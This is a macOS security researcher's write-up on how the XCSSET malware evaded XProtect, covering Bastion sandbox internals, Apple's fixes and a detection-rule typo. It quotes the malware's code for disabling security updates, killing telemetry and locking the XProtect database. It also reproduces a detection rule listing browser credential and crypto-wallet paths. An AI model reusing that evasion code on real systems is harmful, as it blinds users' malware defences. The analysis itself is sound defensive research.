XProtect behavioral flop
On reading the latest Security Advisories for macOS, a few friends noticed I recently went through a career change:
Sandbox
We would like to acknowledge Arnaud Abbati for their assistance.
And, for once I can share what I do, I am certainly not going to miss the opportunity!
Threat or Thread#
As far as I remember, I always kept an eye wide open on live threats to monitor their evolutions. Once I’d figure out the delivery method, I’d automate the downloading of new variants and receive notifications about notable changes.
I first came across the malware publicly known as XCSSET on the weekend before WWDC20. It all started with a simple VirusTotal Livehunt rule looking for SHC Mach-O files:
vt analysis f-d11a549e6bc913c78673f4e142e577f372311404766be8a3153792de9f00f6c1-1592592329
- _id: "f-d11a549e6bc913c78673f4e142e577f372311404766be8a3153792de9f00f6c1-1592592329"
_type: "analysis"
date: 1592592329 # 2020-06-19 20:45:29 +0200 CEST
results: (…)
stats:
confirmed-timeout: 0
failure: 1
harmless: 0
malicious: 1
suspicious: 0
timeout: 0
type-unsupported: 13
undetected: 61
status: "completed"
At the time of the upload, a warm summer breath was floating in the air, the grass was ready to broadcast its biweekly distress signal out loud: nobody told the garden I just found a new thread to pull on!
A few years later, the malware eventually appeared and vanished a couple of times and, as I was enjoying a beautiful sunny fall with beloved friends around New York for the first time, I noticed XCSSET happened to be back: a typo away in my GitHub saved searches!
The first public indicator of the malware is on January 17, 2020, in Ukraine. With such a long history come many surprises.
What The Flock?#
On September 23, 2025, something “interesting” showed up in the root_payload of the privilege escalation and persistence module settings_app:
root_tasks() {
/usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist ConfigDataInstall -bool false
/usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist AllowRapidSecurityResponses -bool false
kill_processes() {
while true; do
pgrep -fi 'CloudTelemetryService' | xargs -r -I {} sh -c 'kill -9 {} && echo "killed PID {}"'
sleep 1
done
}
kill_processes &
perl -e 'open my $fh, "<", "/var/protected/xprotect/XPdb" or die $!; flock($fh, 2) or die $!; while (1) { sleep 60; }' &
echo "I am a root task $(whoami)"
}
TL;DR: as root, set an exclusive lock on the /var/protected/xprotect/XPdb file indefinitely.
XProtectPayloads#
XProtect app, i.e. XProtectPayloads, is the replacement for Malware Removal Tool (MRT). Instead of running at system startups and user logins, background activities are periodically scheduled with the Utility priority. You can read about Centralized Task Scheduling (CTS) and Duet Activity Scheduler (DAS) on Dr. Howard Oakley’s blog.
XProtect app is periodically scheduled to run XProtectRemediator plugins according to the Priority specified in their (__TEXT,__info_plist) section:
- High: every 6 hours
- Standard: daily
- Low: weekly
I highly recommend the extensive research by Koh M. Nakagawa from FFRI Security, Inc. to get familiar with XProtectPayloads capabilities:
- 📄 White paper from BlackHat US 2025 conference
- 📺 Video and slides from Objective by the Sea v8 conference
Bastion sandbox profile#
XProtect app resources include libXProtectPayloads.dylib—aka libXPP according to log—which interacts with the XPdb SQLite3 database.
After due checks, the library is dynamically linked by XProtectBridgeService to run with the private framework XprotectFramework (packed in the dyld_shared_cache).
The sandbox profile bastion.sb is located in XProtect app resources too. It gets loaded by the kernel Sandbox via the com.apple.private.security.register-xprotect-profile syscall—Sandbox.kext packed in the kernelcache—and contains a list of sandbox rules.
BastionRule violations are recorded as behavior events in the local XPdb database for a month. Matching rule names are located in BastionMeta.plist and mapped according to the function bastionRuleToBit()—AppleSystemPolicy.kext packed in the kernelcache.
For example, here’s the BastionRule-12 i.e. 1 << (12 - 1) aka macOS.InfoStealer.Generic rule:
(with-filter
(require-not rule-twelve-offenders)
(allow (with user-approval "BastionRule-12") file-read-data
(require-any
(subpath "${ANY_USER_HOME}/Library/Containers/com.apple.Notes/Data/Library/Notes/")
(literal "${ANY_USER_HOME}/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite")
(literal "${ANY_USER_HOME}/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies")
(require-all
(require-any
(prefix "${ANY_USER_HOME}/Library/Application Support/Google/Chrome")
(prefix "${ANY_USER_HOME}/Library/Application Support/BraveSoftware/Brave-Browser")
(prefix "${ANY_USER_HOME}/Library/Application Support/Microsoft Edge")
(prefix "${ANY_USER_HOME}/Library/Application Support/com.operasoftware.Opera")
(subpath "${ANY_USER_HOME}/Library/Application Support/Vivaldi/")
(subpath "${ANY_USER_HOME}/Library/Application Support/Arc/"))
(regex #"/(Cookies$|(Login|Web) Data$|Local Storage/|(Local|Sync) Extension Settings/|IndexedDB/)"))
(require-all
(subpath "${ANY_USER_HOME}/Library/Application Support/Firefox/Profiles/")
(regex #"/(cookies\.sqlite|formhistory\.sqlite|key4\.db|logins\.json)$"))
(require-all
(prefix "${ANY_USER_HOME}/.electrum")
(regex #"/wallets"))
(subpath "${ANY_USER_HOME}/Library/Application Support/Coinomi/wallets/")
(prefix "${ANY_USER_HOME}/Library/Application Support/Exodus/exodus.")
(subpath "${ANY_USER_HOME}/Library/Application Support/atomic/Local Storage/leveldb/")
(literal "${ANY_USER_HOME}/Library/Application Support/Binance/app-store.json")
(literal "${ANY_USER_HOME}/.config/filezilla/recentservers.xml")
(subpath "${ANY_USER_HOME}/Library/Application Support/Steam/config/")
(subpath "${ANY_USER_HOME}/Library/Application Support/discord/Local Storage/leveldb/"))))
Note the familiar targets: notes, browser cookies and credential stores, crypto wallets, etc..
If you care about sandbox policies, I recommend taking a look at:
- SBPL - SandBox Policy Language by Robert Malmgren
- the unofficial Apple Sandbox Guide by security researcher and friend fG!
- Karol Mazurek’s research, including the recent sandbox_check internals follow-up post available on Patreon
- Sandblaster fork by Yarden Hamami from Cellebrite Labs and her great talk at OBTS v8
From the Sandbox to XProtect#
The syscall to load the Bastion sandbox profile has to come from a platform binary with the same entitlement: syspolicyd has it, is linked to XprotectFramework, and also has the com.apple.private.xprotect.behavior-submit entitlement required by XProtectBridgeService in -[ServiceDelegate listener:shouldAcceptNewConnection:].
On a Bastion rule violation, asp_bastion_sandbox_event_callback()—AppleSystemPolicy.kext packed in the kernelcache—does:
- enrich the process and the responsible process info with
ASPProcessInfo::ASPProcessInfo() - resolve the matching rule name with
bastionRuleToBit()thenASPBastionFilter::getMatchesForRule() - call
AppleSystemPolicy::sendBastionEvent()to send a Mach message forsyspolicydto forward the detection:- call
-[XProtectEventReporter reportBehavioralDetection:] - when the
XProtect/BridgeEnginefeature flag is enabled, pass the message over via XPC toXProtectBridgeService
- call
Blacktop’s ipsw became my go-to tool for reversing interfaces:
ipsw class-dump --demangle --color --class "XProtectEventReporter" \
"/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e" \
XprotectFramework
@interface XProtectEventReporter : NSObject
- (id)init;
- (void)reportBehavioralDetection:(id)detection;
- (_Bool)reportEvent:(unsigned long long)event withData:(id)data;
- (void)reportGKAssessmentData:(id)data;
@end
XProtectBridgeService then records the event to the XPdb database, according to the libXProtectPayloads.dylib implementation of the BehaviorEvent class:
ipsw swift-dump --demangle --color --arch arm64 --type "Analytics|Behavior|Metadata" \
"/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/Resources/libXProtectPayloads.dylib"
class XPPluginAPI.XPProcessMetadata: NSObject {
var executableURL: (private)
var cdhash: String
var signingID: String
var teamID: String
var sha256Hash: String
var notarized: Swift.Bool
static func XPProcessMetadata(withURL:withCdhash:withSigningID:withTeamID:withSha:withNotarization:)
}
class XPPluginAPI.BehaviorEvent: NSObject {
var rule: String
var timestamp: (private)
var profileHash: (private)
var offenderProcess: XPPluginAPI.XPProcessMetadata
var responsibleProcess: XPPluginAPI.XPProcessMetadata
static func BehaviorEvent(withRule:withTime:withProfile:withOffender:withResponsible:)
func BehaviorEvent.report()
}
class XPPluginAPI.XPEventCoreAnalytics {
var eventName: String
var logger: XPPluginAPI.XPLogger
var structuredLogger: XPPluginAPI.XPStructuredLogger
var creationDate: (private)
var sentDate: (private) ?
var eventPayload: [String : NSObject]
}
The BehaviorEvent class is bridged to Objective-C for XprotectFramework interoperability:
ipsw class-dump --demangle --color --arch arm64 --class "BehaviorEvent" \
"/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/Resources/libXProtectPayloads.dylib"
@interface BehaviorEvent : NSObject { // (Swift)
com.apple.XProtectFramework.PluginAPI rule;
com.apple.XProtectFramework.PluginAPI timestamp;
com.apple.XProtectFramework.PluginAPI profileHash;
com.apple.XProtectFramework.PluginAPI offenderProcess;
com.apple.XProtectFramework.PluginAPI responsibleProcess;
}
@property (nonatomic, readonly) NSString *description;
- (id)initWithRule:(id)rule withTime:(id)time withProfile:(unsigned long long)profile withOffender:(id)offender withResponsible:(id)responsible;
- (void)report;
@end
Thanks to the com.apple.private.security.storage.xprotect entitlement, XProtectBridgeService—just like XProtectUpdateService—can write to the /var/protected/xprotect folder, and the db subfolder.
The Bug#
With system administrator privileges (root) and an exclusive file lock—flock(2) with the LOCK_EX parameter—no process could query, or commit to, the database file.
With a clever one-liner trick, behavior events could neither be recorded nor uploaded. Threat Intelligence analysts’ ability to observe potential malware violations on compromised systems went dark.
No CVE was assigned as the bug didn’t bypass active protections.
Timeline#
The bug was found in the wild and reported to Apple on September 23, 2025.
Tahoe 26.1#
The first beta of the first bugfix release of the new major OS reached the developer audience on September 22, 2025.
It is reasonable to assume the milestone was already bouncing at zero bugs when Product Security escalated the report, and the bug doesn’t break a security boundary—access to XPdb requires root—so it’s no P1 candidate.
On November 3, 2025, macOS Tahoe 26.1 (25B78) went live.
XProtectPayloads-156#
On November 4, 2025, XProtectPayloads-156 went live via Software Update (part number 089-06171-A). It was the current update at the time of this writing.
In this release, the XPdb file moved down a level from /var/protected/xprotect/ to the db subfolder. At that point, root could still flock(2) the /var/protected/xprotect/db/XPdb database file.
Tahoe 26.2 beta 2#
On November 12, 2025, the second part of the fix reached the developer audience in macOS 26.2 seed 2 (25C5037j).
The path /var/protected/xprotect/db/ became a Data Vault protected location: accessing the folder requires the new com.apple.private.security.storage.xprotectdb entitlement shared by XProtect app main executable, remediation plugins and XProtectPluginService.
Fix by Obscurity#
Before the fix, users could stare at the (way too many) events uploaded to Apple:
sudo sqlite3 /System/Volumes/Data/private/var/protected/xprotect/db/XPdb 'SELECT * FROM events;' -json
With kernel protection, any process trying to access behavior events without the private entitlement gets an error:
Error: unable to open database "/System/Volumes/Data/private/var/protected/xprotect/db/XPdb": authorization denied
Data Vault isn’t enforced on a non-boot volume: users can create a local TimeMachine snapshot or switch to Recovery Mode to mount the Data volume of the startup disk then access the /Volumes/Data/private/var/protected/xprotect/db/XPdb file for forensic investigations (e.g., UNC1069).
Tahoe 26.2#
On December 12, 2025, macOS Tahoe 26.2 (25C56) reached General Availability. The fix was also backported to macOS Sequoia 15.7.3 (24G419) and macOS Sonoma 14.8.3 (23J220) in aligned security updates:
- APPLE-SA-12-12-2025-3 macOS Tahoe 26.2
- APPLE-SA-12-12-2025-4 macOS Sequoia 15.7.3
- APPLE-SA-12-12-2025-5 macOS Sonoma 14.8.3
The Metrics You Never Needed#
Now, let’s talk about what this database actually contains. Here’s the kicker: behavior events are recorded once per process since startup. The database doesn’t log repeated activities; it logs the first unique fingerprints of each rule since boot.
I only restart my Mac a handful of times between updates. Over a 28-day period, XPdb recorded more than 3,000 unique events. Each event contains forensically detailed telemetry: executable and responsible executable paths, SHA256 hashes, CDhashes, signing identifiers, team identifiers, notarization status, and timestamps.
More than half of those events? Clipboard access. The irony, for a company that popularized cut ⌘X, copy ⌘C, and paste ⌘V. The rest is a mix of standard outgoing network connections, keychain queries, browser activities, temporary directory execution—none of which were really suspicious.
That’s 250+ unique apps from 100 different developer teams flagged. The roster reads like a who’s who of legitimate macOS software: Little Snitch, iStat Menus, LaunchBar, 1Password, Default Folder X, Moom, Dockitty and even Google’s Santa security tool—an approved Endpoint Security extension.
Among the flagged binaries are Apple’s own Finder, Spotlight, Safari, Xcode, Photos, Numbers, Keynote, TestFlight, Remote Desktop, and dozens more. When your security software flags your platform binaries, one might wonder who’s watching the watchers.
Scale This Worldwide#
Now extrapolate this to Apple’s installed base of over 100 million Macs. Every Mac has a different software footprint. Every software update changes the SHA256 hash and generates a new event. Much of this data is redundant with existing Gatekeeper assessments. And the telemetry still flows: disabling it in Privacy Settings doesn’t matter when there’s a SIP-protected feature flag.
What about developers or security researchers with custom tooling? Their project builds light up like Christmas trees in this system.
Across the global fleet, we’re talking about a comprehensive catalogue of every unique executable that ever triggered a Bastion rule on every Mac, complete with cryptographic identifiers, developer attribution, and timestamps—even on systems with opted-out telemetry.
Now consider the infrastructure behind this. Storing billions of events involves significant data center capacity. Querying that dataset to deduplicate, filter the noise, and extract potential anomalies burns compute cycles at scale. The electricity, the cooling, and the hardware—all to process a dataset where the signal-to-noise ratio is inverted by design.
The ecological footprint of legitimate clipboard accesses on the planet is not zero.
The Best Metrics Are the Ones You Don’t Collect#
There’s a principle in privacy engineering: collect only what you need, when you need it, and delete it as soon as you don’t.
When your threat detection system flags Finder for “suspicious Messages access” and Little Snitch for “Keychain exfiltration”, you haven’t built a security tool but a cataloguing system where virtually every application is suspicious by default. The signal-to-noise ratio isn’t low: it’s inverted.
Before the fix, the XPdb database sat accessible with root privileges. Malware found it and bypassed it. In doing so, XCSSET escaped what Apple calls its “behavioral telemetry and discovery pipeline”. Even now, XCSSET can still kill CloudTelemetryService.
That behavioral detection is no better than post-mortem signature-based detection. We don’t need to fingerprint every notarized or App Store-approved network utility that makes an outbound connection. We don’t need a cryptographic registry of every clipboard-aware application. We need anomalies, not inventories.
Apple’s response is to block access. My own usage data now becomes Apple’s data, protected at the kernel level, inaccessible to me.
Nobody cared whether the vault should contain this much in the first place. The best metrics are the ones you never upload.
One More Thing#
A closer look at bastion.sb reveals some gems. Apple maintains exclusion lists for their own binaries—bastion-usual-offenders, rule-one-offenders, and so on—to avoid flagging themselves. They clearly know the noise problem exists.
But the real treasure lies in the bastion-common-system-binary filter:
(define bastion-common-system-binary
(require-all
(process-attribute is-platform-binary)
(require-not
(require-any
(signing-identifier "com.apple.osascript")
(signing-identifier "com.apple.zsh")
(signing-identifier "com.apple.bash")
(signing-identifier "com.apple.sh")
(signing-identifier "com.apple.ksh")
(signing-identifier "com.apple.osacompile")
(signing-identifier "com.apple.python2")
(signing-identifier "python3")
(signing-identifier "ccom.apple.pbcopy")
(signing-identifier "ccom.apple.pbpaste")
(signing-identifier "ccom.apple.cat")
(signing-identifier "ccom.apple.curl")
(signing-identifier "ccom.apple.dd")
(signing-identifier "ccom.apple.cp")
(signing-identifier "com.apple.perl")))))
The rule is later used as an inverted filter, to ignore all platform binaries but the ones with specified signing-identifier.
The exclusion list contains attackers’ favorites: osascript, osacompile, zsh, bash, sh, perl—all signing identifiers correctly prefixed with com.apple.—are properly excluded from the trusted set: Bastion reports them. But there is no platform binary with the signing identifier python3 or the prefix ccom.apple..
The highlighted entries are dead comparisons that never match. The real pbcopy, pbpaste, cat, curl, dd, and cp are evaluated as common system binaries and are silently excluded from pasteboard access, keychain reads, outbound network connections and launchd persistence. The very tools attackers reach for first are the ones these rules aren’t reporting.
The typo shipped with XProtectPayloads-153 on August 5, 2025 (part number 082-75748-A).
Six months of security updates, and nobody noticed. It missed engineering. It missed testing. It missed code review. It missed QA. It missed whatever metrics pipeline is supposed to validate that the rules actually match real binaries.
Seven typos, in production security code, collecting data uploaded from millions of Macs, verified, tested, and watched by nobody 🖐🎤
On February 17, 2026, Apple released XProtectPayloads-157 (part number 089-33637-A) to fix the ccom.apple. typo: pbcopy, pbpaste, cat, curl, dd, and cp now record pasteboard access, keychain reads, outbound network connections and launchd persistence to the XPdb database and sink daily through CoreAnalytics:
SELECT violated_rule, exec_path, exec_signing_id, exec_team_id, exec_sha256, responsible_path, responsible_signing_id, responsible_team_id, responsible_sha256
FROM events
WHERE exec_signing_id IN ('com.apple.pbcopy', 'com.apple.pbpaste', 'com.apple.cat', 'com.apple.curl', 'com.apple.dd', 'com.apple.cp');
[
{
"violated_rule": "macOS.Persistence.Launchplists",
"exec_path": "/bin/cp",
"exec_signing_id": "com.apple.cp",
"exec_team_id": "",
"exec_sha256": "9bb958b39bfd599f92a0ad7c773b49ad01d8f1109ad45b74bdcdfa780ea99bb9",
"responsible_path": "/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/installd",
"responsible_signing_id": "com.apple.installd",
"responsible_team_id": "",
"responsible_sha256": "8d3f4365935c22cf3dc609aca05e566ac21f070755ad4b7d201118cba816b369"
}
]
The typo made Bastion blind to these tools. The fix made it log everything they do—including a routine package install. Trading a blind spot for a haystack isn’t a detection improvement.